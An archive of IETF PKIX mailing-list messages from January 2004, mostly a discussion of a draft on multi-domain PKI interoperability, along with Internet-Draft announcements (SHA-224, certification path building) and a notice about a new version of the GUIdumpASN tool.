ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA
gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA
AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------275526655180024--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G2Mbib087415; Thu, 15 Jan 2004 18:22:37 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0G2MbD4087413; Thu, 15 Jan 2004 18:22:37 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from iscan01.secomtrust.net (iscan01.secomtrust.net [61.114.177.102]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0G2MYib087377 for <[e-mail]>; Thu, 15 Jan 2004 18:22:35 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 26176 invoked by alias); 16 Jan 2004 02:22:36 -0000
Delivered-To: [e-mail]@MAP
Received: (qmail 26167 invoked by alias); 16 Jan 2004 02:22:35 -0000
Received: from localhost (HELO mail.secomtrust.net) (127.0.0.1) by localhost with SMTP; 16 Jan 2004 02:22:35 -0000
Received: (qmail 21659 invoked from network); 16 Jan 2004 02:22:35 -0000
Received: from unknown (HELO ?172.30.5.54?) (172.30.5.54) by mail with SMTP; 16 Jan 2004 02:22:35 -0000
Date: Fri, 16 Jan 2004 11:22:42 +0900
From: Masaki SHIMAOKA <[e-mail]>
To: "Anders Rundgren" <[e-mail]>
Subject: Re[2]: Revised I-D: Memorandum for multi-domain PKI Interoperability
Cc: "IETF-PKIX" <[e-mail]>, <[e-mail]>
In-Reply-To: <000201c3db7e$85bfaf00$0500a8c0@arport>
References: <[e-mail]> <000201c3db7e$85bfaf00$0500a8c0@arport>
Message-Id: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver. 2.06.02
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders,

> I think you should regard my comments as "reflections" regarding the
> possible directions PKI may take, not as criticism of your I-D.

Okay.

Thanks for your detailed description. I understand your comments and
agree.

This I-D SHOULD NOT be required for users such as bank. They SHOULD NOT
touch PKI directly, their purpose is merely to use application securely.
For them, PKI is just one of ways, and kind of PKI they use is not important.
I think that this I-D SHOULD be required for persons who touch PKI
directly such as PKI SIers and PKI application vendors.

Thanks,
shima

On Thu, 15 Jan 2004 16:43:38 +0100
"Anders Rundgren" <[e-mail]> wrote:

> Masaki,
> 
> I think you should regard my comments as "reflections" regarding the
> possible directions PKI may take, not as criticism of your I-D.
> 
> That is, I envision a rather scattered picture where the private sector
> and governments will likely select different schemes as they are
> driven by different motives.  For the private sector "cost" and
> "simplicity" are the prime considerations, not "security".  Security
> unlike most other qualities, is hard to measure and does not even
> necessarily mean the same thing to everybody when you go outside
> of pure cryptography.
> 
> To take an example: A system that requires considerable competence
> to be deployed may be considered as less secure than a simple one
> as there is a risk that the competence required is not in place due to
> lack of availability, or that customers simply cannot afford it.
> 
> >> I believe your scheme does not address the business model issue,
> >> i.e. the fact that banks have converted PKI into a transaction system.
> 
> >Please tell me how this I-D does not meet it.
> 
> I would not worry too much about this as banks all over the world
> are trying to introduce PKI systems where the relying parties pay
> for each status lookup.  They usually require that relying parties:
> 
> - Installs trust network specific (usually NDA protected) licensed software
> - Signs business contracts with each accepted trust network
> 
> That is, such PKIs are outside of interoperability concerns
> as each trust network is effectively isolated from other trust
> networks.  This is very similar to the VISA and MasterCard
> payment networks.  To cope with this,  "mediator" service providers
> "add value" (=charging more money) by offering "standardized"
> (=proprietary) interfaces as well as a single contract, to relying
> parties needing access to multiple trust networks.
> 
> Regarding the private sector's use of PKI, I believe rather little
> is to be expected as there in spite of decades of "good intentions",
> is nothing that can be categorized as a ubiquitous, "standard"
> (industry, de-facto, de-jure, whatever) key container, supported by
> current operating systems and available from multiple vendors.  The
> so called "soft certificates" often cause more problems than they solve
> in a corporate environment, and do therefore not challenge the current
> de-facto client security standard, the user-id/password.  This makes
> me believe that "PKI interoperability" is not exactly on the top of
> the private sector's menu, they have yet to get PKI to work inside
> of their organizations.  There are of course exceptions, but they
> are in my opinion just that, exceptions.
> 
> Regards
> Anders Rundgren
> Independent Consultant, PKI and e-Business
> 

-----
Masaki SHIMAOKA

SECOM Trust.net
System Engineering Dpt.
Tel: [phone] (ext.3605)
Fax: [phone]
e-mail: [e-mail]



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0FLACib069738; Thu, 15 Jan 2004 13:10:12 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0FLACeX069737; Thu, 15 Jan 2004 13:10:12 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0FLABib069732 for <[e-mail]>; Thu, 15 Jan 2004 13:10:12 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28534; Thu, 15 Jan 2004 16:10:11 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-sha224-00.txt
Date: Thu, 15 Jan 2004 16:10:11 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: A 224-bit One-way Hash Function: SHA-224
	Author(s)	: R. Housley
	Filename	: draft-ietf-pkix-sha224-00.txt
	Pages		: 6
	Date		: 2004-1-15
	
This document specifies a 224-bit one-way hash function, called SHA-224. A SHA-224 is based on SHA-256, but it uses an different initial value and the result is truncated to 224 bits.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-sha224-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-sha224-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-sha224-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-sha224-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-sha224-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0FFoCib052626; Thu, 15 Jan 2004 07:50:12 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0FFoC3h052625; Thu, 15 Jan 2004 07:50:12 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp7.hy.skanova.net (smtp7.hy.skanova.net [195.67.199.140]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0FFo8ib052611 for <[e-mail]>; Thu, 15 Jan 2004 07:50:09 -0800 (PST) (envelope-from [e-mail])
Received: from arport (t10o913p37.telia.com [213.64.27.157]) by smtp7.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0FFnsa7005145; Thu, 15 Jan 2004 16:49:55 +0100 (CET)
Message-ID: <000201c3db7e$85bfaf00$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Masaki SHIMAOKA" <[e-mail]>, "IETF-PKIX" <[e-mail]>
Cc: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Subject: Re: Revised I-D: Memorandum for multi-domain PKI Interoperability
Date: Thu, 15 Jan 2004 16:43:38 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Masaki,

I think you should regard my comments as "reflections" regarding the
possible directions PKI may take, not as criticism of your I-D.

That is, I envision a rather scattered picture where the private sector
and governments will likely select different schemes as they are
driven by different motives.  For the private sector "cost" and
"simplicity" are the prime considerations, not "security".  Security
unlike most other qualities, is hard to measure and does not even
necessarily mean the same thing to everybody when you go outside
of pure cryptography.

To take an example: A system that requires considerable competence
to be deployed may be considered as less secure than a simple one
as there is a risk that the competence required is not in place due to
lack of availability, or that customers simply cannot afford it.

>> I believe your scheme does not address the business model issue,
>> i.e. the fact that banks have converted PKI into a transaction system.

>Please tell me how this I-D does not meet it.

I would not worry too much about this as banks all over the world
are trying to introduce PKI systems where the relying parties pay
for each status lookup.  They usually require that relying parties:

- Installs trust network specific (usually NDA protected) licensed software
- Signs business contracts with each accepted trust network

That is, such PKIs are outside of interoperability concerns
as each trust network is effectively isolated from other trust
networks.  This is very similar to the VISA and MasterCard
payment networks.  To cope with this,  "mediator" service providers
"add value" (=charging more money) by offering "standardized"
(=proprietary) interfaces as well as a single contract, to relying
parties needing access to multiple trust networks.

Regarding the private sector's use of PKI, I believe rather little
is to be expected as there in spite of decades of "good intentions",
is nothing that can be categorized as a ubiquitous, "standard"
(industry, de-facto, de-jure, whatever) key container, supported by
current operating systems and available from multiple vendors.  The
so called "soft certificates" often cause more problems than they solve
in a corporate environment, and do therefore not challenge the current
de-facto client security standard, the user-id/password.  This makes
me believe that "PKI interoperability" is not exactly on the top of
the private sector's menu, they have yet to get PKI to work inside
of their organizations.  There are of course exceptions, but they
are in my opinion just that, exceptions.

Regards
Anders Rundgren
Independent Consultant, PKI and e-Business



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0F2jEib042774; Wed, 14 Jan 2004 18:45:14 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0F2jEhB042773; Wed, 14 Jan 2004 18:45:14 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from iscan01.secomtrust.net (iscan01.secomtrust.net [61.114.177.102]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0F2jBib042768 for <[e-mail]>; Wed, 14 Jan 2004 18:45:12 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 4633 invoked by alias); 15 Jan 2004 02:45:13 -0000
Delivered-To: [e-mail]@MAP
Received: (qmail 4624 invoked by alias); 15 Jan 2004 02:45:12 -0000
Received: from localhost (HELO mail.secomtrust.net) (127.0.0.1) by localhost with SMTP; 15 Jan 2004 02:45:12 -0000
Received: (qmail 2598 invoked from network); 15 Jan 2004 02:45:12 -0000
Received: from unknown (HELO ?172.30.5.54?) (172.30.5.54) by mail with SMTP; 15 Jan 2004 02:45:12 -0000
Date: Thu, 15 Jan 2004 11:45:19 +0900
From: Masaki SHIMAOKA <[e-mail]>
To: "Anders Rundgren" <[e-mail]>
Subject: Re[2]: Revised I-D: Memorandum for multi-domain PKI Interoperability
Cc: "IETF-PKIX" <[e-mail]>, <[e-mail]>
In-Reply-To: <012b01c3daa5$1d4b29b0$0500a8c0@arport>
References: <[e-mail]> <012b01c3daa5$1d4b29b0$0500a8c0@arport>
Message-Id: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="ISO-2022-JP"
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver. 2.06.02
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders,

Thanks for your interesting.

Since I suggest single-trust point model, what you felt is my actual
intention:) But, I know that many existing PKI is established by (user)
trust list model in fact. Generally, almost existing multi-domain PKI is
categorized by user trust list model and cross-certification model
including hub model, unified domain model and maybe mesh model.
Therefore, this I-D tackles that such two models can coexist.
This I-D allows that some PKI domain such as public PKI may not have
domain policy, and does not prevent using a user trust list model.

If your model conflicts with this I-D, let me know concrete issues and
insufficient considerations. Although I suggest single-trust point model
undoubtedly, I do not prefer a proposal that conflicts with existing
model.


And the following comments are in-line:

On Wed, 14 Jan 2004 14:48:26 +0100
"Anders Rundgren" <[e-mail]> wrote:

> 
> Shimaoka-San,
> 
> I enjoy "playing" with different approaches and I believe that there
> is an entirely different approach that this and many existing PKI
> architectures will have to compete with, and that is that relying
> parties deploy a key-validation service using XKMS.  This eliminates
> the need for CA cooperation, cross-certification etc.  Cross-
> certification is probably not very realistic except for in-house
> CAs used by governments as commercial entities, have no
> reason to vouch for each others issuances.

Simple cross-certification model may not meet realistic business. but
hub model may meet it. And do not omit unified domain model. Actually
some existing PKIs looking like a hierarchy model are formed by a
unified domain model.

> Another scheme which I even more faith in, is that organizations
> only "talk" to each other at the "organization-entity" level,
> which reduces the PKI interoperability question by magnitudes.
> Not to mention costs.  That is, each organizational unit (legal unit etc)
> typically purchases a TTP-issued "business unit certificate", mounts
> that inside a secure server, and that's it!

I am agreeable to such reasonable solution.
But this I-D mentions not entity, only interconnection between PKI.

> Finally I would like to mention how the Swedish e-government
> are tackling PKI interoperability for their C2G activities:
> As the outsourced CAs all have different business models, as
> well as different signature solutions they are building a "PKI-central"
> that does everything from signature validation to signature GUI/web
> stuff.  Yucky?  It probably cant get worse.  Or maybe it can...

I interest in Swedish e-government PKI. Thanks for your advice.

>  I recently saw that the Austrian "B|rgercarte" requires that
> each user have a local web-server(!) in order to sign due
> to the fact that browsers have no such ability.
> 
> I believe your scheme does not address the business model issue,
> i.e. the fact that banks have converted PKI into a transaction system.

Please tell me how this I-D does not meet it.


> 
> Anders
> 

-----
Masaki SHIMAOKA

SECOM Trust.net
System Engineering Dpt.
Tel: [phone] (ext.3605)
Fax: [phone]
e-mail: [e-mail]



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0ELoxib028560; Wed, 14 Jan 2004 13:50:59 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0ELoxNw028559; Wed, 14 Jan 2004 13:50:59 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com ([128.33.0.62]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0ELovib028537 for <[e-mail]>; Wed, 14 Jan 2004 13:50:57 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i0ELopM9009651; Wed, 14 Jan 2004 16:50:51 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0602040ebc2b617885af@[128.89.89.75]>
In-Reply-To: <012b01c3daa5$1d4b29b0$0500a8c0@arport>
References: <[e-mail]> <[e-mail]> <012b01c3daa5$1d4b29b0$0500a8c0@arport>
Date: Wed, 14 Jan 2004 16:47:07 -0500
To: "Anders Rundgren" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Revised I-D: Memorandum for multi-domain PKI Interoperability
Cc: "Masaki SHIMAOKA" <[e-mail]>, "IETF-PKIX" <[e-mail]>, <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders,

As usual, your comments are provocative. My only comments are:

	- do not assume that a TTP CA is needed for ANY 
intra-enterprise PKI; it is not really essential

	- XKMS is not a panacea; it just moves the problems to a 
different place in the system. recent bad experiences with the 
VeriSign crl service should be a lesson about what can happen from 
undue reliance on a single, central CA

	- do not assume that whatever banks choose to do re PKI is 
the right answer for anyone other than banks

Steve


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0EKxPib026234; Wed, 14 Jan 2004 12:59:25 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0EKxP8N026233; Wed, 14 Jan 2004 12:59:25 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from osf1.gmu.edu (osf1.gmu.edu [129.174.1.13]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0EKxNib026225 for <[e-mail]>; Wed, 14 Jan 2004 12:59:23 -0800 (PST) (envelope-from [e-mail])
Received: from geminiph ([129.174.244.115]) by osf1.gmu.edu (8.8.8/8.8.8) with ESMTP id PAA181344 for <[e-mail]>; Wed, 14 Jan 2004 15:59:15 -0500 (EST)
Message-Id: <[e-mail]>
From: "Peter Hesse" <[e-mail]>
To: <[e-mail]>
Subject: New version of GUIdumpASN available
Date: Wed, 14 Jan 2004 15:59:21 -0500
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Thread-Index: AcPa4Ug4aeQhLEZWSEivFjI5XYXVng==
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

All,

Since I know a number of you use the tool, I figured I'd let you know that a
new version of GUIdumpASN is available.  GUIdumpASN is a free Windows-ified
version of Peter Gutmann's dumpasn1.c program, and it allows
view/print/saving of human readable ASN.1.

The new version supports the use of external .CFG files.   Additional
changes include a send-to icon that works, and it will now remember its
settings when you call it via drag and drop.  Since we've changed installer
programs, you should uninstall your old version, and download the new one
from
http://www.geminisecurity.com/guidumpasn.html 

Enjoy.  Comments are always welcome.

--Peter Hesse
 
+---------------------------------------------------------------+
| Peter Hesse                    [e-mail]     |
| Phone: [phone]         Gemini Security Solutions, Inc.  |
| ICQ: 1942828                     www.geminisecurity.com       |
+---------------------------------------------------------------+
"Pay no attention to what the critics say; there has never been 
a statue set up in honor of a critic." --Jean Sibelius




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0EDrqib085016; Wed, 14 Jan 2004 05:53:52 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0EDrqjA085009; Wed, 14 Jan 2004 05:53:52 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp7.hy.skanova.net (smtp7.hy.skanova.net [195.67.199.140]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0EDroib084973 for <[e-mail]>; Wed, 14 Jan 2004 05:53:50 -0800 (PST) (envelope-from [e-mail])
Received: from arport (t7o913p44.telia.com [213.64.26.44]) by smtp7.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0EDrXmW004437; Wed, 14 Jan 2004 14:53:35 +0100 (CET)
Message-ID: <012b01c3daa5$1d4b29b0$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Masaki SHIMAOKA" <[e-mail]>, "IETF-PKIX" <[e-mail]>
Cc: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Subject: Re: Revised I-D: Memorandum for multi-domain PKI Interoperability
Date: Wed, 14 Jan 2004 14:48:26 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Shimaoka-San,

I enjoy "playing" with different approaches and I believe that there
is an entirely different approach that this and many existing PKI
architectures will have to compete with, and that is that relying
parties deploy a key-validation service using XKMS.  This eliminates
the need for CA cooperation, cross-certification etc.  Cross-
certification is probably not very realistic except for in-house
CAs used by governments as commercial entities, have no
reason to vouch for each others issuances.

Another scheme which I even more faith in, is that organizations
only "talk" to each other at the "organization-entity" level,
which reduces the PKI interoperability question by magnitudes.
Not to mention costs.  That is, each organizational unit (legal unit etc)
typically purchases a TTP-issued "business unit certificate", mounts
that inside a secure server, and that's it!

Finally I would like to mention how the Swedish e-government
are tackling PKI interoperability for their C2G activities:
As the outsourced CAs all have different business models, as
well as different signature solutions they are building a "PKI-central"
that does everything from signature validation to signature GUI/web
stuff.  Yucky?  It probably cant get worse.  Or maybe it can...
 I recently saw that the Austrian "Bürgercarte" requires that
each user have a local web-server(!) in order to sign due
to the fact that browsers have no such ability.

I believe your scheme does not address the business model issue,
i.e. the fact that banks have converted PKI into a transaction system.

Anders

----- Original Message -----
From: "Masaki SHIMAOKA" <[e-mail]>
To: "IETF-PKIX" <[e-mail]>
Cc: <[e-mail]>
Sent: Wednesday, January 14, 2004 11:51
Subject: Re: Revised I-D: Memorandum for multi-domain PKI Interoperability



All,

As I presented in 57th IETF meeting, I propose to make a consensus for
multi-domain PKI interoperability. To consider such consensus, I was
writing this I-D, and I finished it.
Please review the I-D and let me know your opinion.

You can obtain the I-D from:
http://www.ietf.org/internet-drafts/draft-shimaoka-multidomain-pki-02.txt

Original presentation:
http://www.ietf.org/proceedings/03jul/slides/pkix-9/index.html

Working Page:
http://www.jnsa.org/mpki/#id

At 56th IETF, I discussed with Tim how to standardize this I-D. As
result, PKIX WG seemed difficult to holding the ID as new WG draft. So I
am proposing this as personal draft.

shima


-----
Masaki SHIMAOKA

SECOM Trust.net
System Engineering Dpt.
Tel: [phone] (ext.3605)
Fax: [phone]
e-mail: [e-mail]



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0EApWib076270; Wed, 14 Jan 2004 02:51:32 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0EApWfL076269; Wed, 14 Jan 2004 02:51:32 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from iscan01.secomtrust.net (iscan01.secomtrust.net [61.114.177.102]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0EApTib076263 for <[e-mail]>; Wed, 14 Jan 2004 02:51:30 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 15840 invoked by alias); 14 Jan 2004 10:51:27 -0000
Delivered-To: [e-mail]@MAP
Received: (qmail 15832 invoked by alias); 14 Jan 2004 10:51:27 -0000
Received: from localhost (HELO mail.secomtrust.net) (127.0.0.1) by localhost with SMTP; 14 Jan 2004 10:51:27 -0000
Received: (qmail 21220 invoked from network); 14 Jan 2004 10:51:26 -0000
Received: from unknown (HELO ?172.30.5.54?) (172.30.5.54) by mail with SMTP; 14 Jan 2004 10:51:26 -0000
Date: Wed, 14 Jan 2004 19:51:32 +0900
From: Masaki SHIMAOKA <[e-mail]>
To: IETF-PKIX <[e-mail]>
Subject: Re: Revised I-D: Memorandum for multi-domain PKI Interoperability
Cc: [e-mail]
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Message-Id: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver. 2.06.02
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

All,

As I presented in 57th IETF meeting, I propose to make a consensus for
multi-domain PKI interoperability. To consider such consensus, I was
writing this I-D, and I finished it.
Please review the I-D and let me know your opinion.

You can obtain the I-D from:
http://www.ietf.org/internet-drafts/draft-shimaoka-multidomain-pki-02.txt

Original presentation:
http://www.ietf.org/proceedings/03jul/slides/pkix-9/index.html

Working Page:
http://www.jnsa.org/mpki/#id

At 56th IETF, I discussed with Tim how to standardize this I-D. As
result, PKIX WG seemed difficult to holding the ID as new WG draft. So I
am proposing this as personal draft.

shima


-----
Masaki SHIMAOKA

SECOM Trust.net
System Engineering Dpt.
Tel: [phone] (ext.3605)
Fax: [phone]
e-mail: [e-mail]



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i09LSKib074245; Fri, 9 Jan 2004 13:28:20 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i09LSKxX074244; Fri, 9 Jan 2004 13:28:20 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i09LSGib074239 for <[e-mail]>; Fri, 9 Jan 2004 13:28:18 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA17019; Fri, 9 Jan 2004 16:28:13 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-certpathbuild-03.txt
Date: Fri, 09 Jan 2004 16:28:13 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure:       Certification Path Building
	Author(s)	: M. Cooper, Y. Dzambasow
	Filename	: draft-ietf-pkix-certpathbuild-03.txt
	Pages		: 74
	Date		: 2004-1-9
	
This document was written to provide guidance and recommendations to 
developers building X.509 public-key certification paths within their 
applications.  By following the guidance and recommendations defined 
in this document, an application developer is more likely to develop 
a robust X.509 certificate enabled application that can build valid 
certification paths across a wide range of PKI environments.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-certpathbuild-03.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-certpathbuild-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-certpathbuild-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
